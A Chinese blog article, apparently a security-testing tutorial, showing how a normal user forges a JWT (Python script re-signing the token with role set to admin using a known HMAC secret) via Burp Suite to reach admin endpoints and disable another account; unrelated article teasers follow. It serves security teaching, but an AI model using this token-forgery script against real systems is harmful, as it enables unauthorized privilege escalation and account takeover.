news 2026/7/12 14:31:19

安全测试实战:用户如何通过JWT 垂直越权管理员,禁用其它用户?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全测试实战:用户如何通过JWT 垂直越权管理员,禁用其它用户?

JWT又称JSON Web Token, 是目前最流行的跨域认证解决方案。垂直越权,是一种常见的访问控制缺陷。它指的是低权限用户(如普通注册用户)能够执行或访问只有高权限用户(如管理员)才能操作的功能。
当后端服务只验证了JWT是否有效,却没有验证当前用户是否真的拥有token中所声明的角色时,就会形成JWT垂直越权漏洞。攻击者可以通过修改token中的role字段,将普通用户提升为管理员。

这次测试我们使用到的工具为Burp Suite,下面开始演示。首先打开Burp Suite,点击代理并打开内置浏览器,并在浏览器中进行普通用户登录的操作。发送登录请求后,返回Burp Suite点击HTTP history查看数据包。

我们可以看到,捕获的数据包中有一条包含JWT数据,点击并查看Response,其中data后面的一长串数据就是我们的JWT Token,复制保存。下一步我们进行对照试验,目的是证明用户不能直接越权管理员并使用管理员的查询功能。

我们随意选择一条带有JWT的数据包,右键选择Sent to Repeater,在点击顶部的Repeater。

我们将头部的访问用户的接口路径改为访问管理员查询用户的接口路径,点击发送,头部响应200返回code:400证明我们无法直接越权管理员。下面我们开始伪造签名进行越权。

为了简化步骤,我们直接使用Python进行重签。首先将我们复制的JWT Token进行解码,并篡改启用的role声明,最后使用相同的签名算法对修改后的JWT Token从新签名。

import base64, json, hmac, hashlib, sys def b64url(data: bytes) -> str: return base64.urlsafe_b64encode(data).rstrip(b"=").decode() def b64url_decode(s: str) -> bytes: s += "=" * (-len(s) % 4) return base64.urlsafe_b64decode(s) key = base64.b64decode("campus-food-2024-secret-" + "=") JWT = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI2Iiwicm9sZSI6MCwiaWF0IjoxNzgzNzEyMzI2LCJleHAiOjE3ODM3OTg3MjZ9.vq6HBhtEe_KRVN0yTMTaLkuT7XDc7NxF6UAHFZqYxU0" token = sys.argv[1] if len(sys.argv) > 1 else JWT.strip() header, payload, _sig = token.split(".") payload_obj = json.loads(b64url_decode(payload)) payload_obj["role"] = 1 new_body = b64url(json.dumps(payload_obj, separators=(",", ":")).encode()) new_sig = b64url(hmac.new(key, f"{header}.{new_body}".encode(), hashlib.sha256).digest()) print(f"{header}.{new_body}.{new_sig}")

将伪造的新签名替换原来的旧签名,点击发送,我们发现服务器返回了所有的用户信息,记得我们的目标用户ID,以免误伤其它数据照成损失。为了方便阅读,我们新开一个窗口,将管理员禁用用户的路径和参数粘贴进来,点击发送,看到成功返回了code:200。再次使用浏览器登录目标用户,显示账号禁用。

免责声明:文章中涉及的程序 (方法)可能带有攻击性,仅供安全研究与教学之用,请勿对未经授权的系统进行测试。读者将其信息做其他用途,由读者承担全部法律及连带责任,本人不承担任何法律及连带责任。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/12 14:30:24

四个神经科学验证的学习方法:告别伪勤奋

1. 为什么“看着用功”反而拖垮成绩?——学习方法的底层逻辑被彻底误解了各位家长,咱们先不谈分数,也不聊排名,就聊一个最日常的场景:晚上七点半,孩子推开书房门,书包一放,台灯一开&…

作者头像 李华
网站建设 2026/7/12 14:30:19

Postman 脚本动态配置:3行代码实现请求超时与响应大小的环境变量控制

Postman脚本动态配置:3行代码实现请求超时与响应大小的环境变量控制在API开发和测试过程中,静态配置往往难以应对复杂多变的场景需求。想象一下这样的情境:开发环境需要快速失败以暴露问题,测试环境需要延长超时以验证边界条件&am…

作者头像 李华
网站建设 2026/7/12 14:26:52

五维标注备考系统:2000题如何实现能力量化提升

1. 项目概述:这不只是题集,而是一套可量化的备考操作系统 “26版《星火巅峰训练》五合一必刷2000题,能力自测卷真题速递合集”——光看标题,很多人第一反应是“又一套教辅资料”,但在我连续三年带高三毕业班、参与过四…

作者头像 李华
网站建设 2026/7/12 14:25:22

Skill 技能系统完全指南(四):实战 Skill——DevOps 部署

title: Skill 技能系统完全指南(四)实战 Skill:DevOps 部署——Docker、Nginx 与 CI/CD date: 2026-07-10 category: AI 开发工具 tags: [Claude Code, Skill, DevOps, Docker, CI/CD, 部署] Skill 技能系统完全指南(四&#xff0…

作者头像 李华
网站建设 2026/7/12 14:24:43

Godot 2.5D Demo插件兼容性问题:从诊断到修复的完整指南

1. 项目概述:当2.5D Demo遇上插件“水土不服”最近在社区里看到不少朋友在折腾Godot的2.5D Demo项目,特别是从官方AssetLib或者一些教程里下载的示例。兴致勃勃地打开,准备一探究竟,结果迎面就是一个脚本错误弹窗,尤其…

作者头像 李华
网站建设 2026/7/12 14:23:35

电子笔记的本质是认知基建:从信息记录到思维活化

1. 这不是在问“你用什么软件”,而是在问“你如何思考”“你的电子笔记是什么样的?”——这句话乍看像一句闲聊,实则是一把精准的解剖刀。它不关心你装了 Obsidian 还是 Notion,不追问你有没有买 iPad 配 Apple Pencil&#xff0c…

作者头像 李华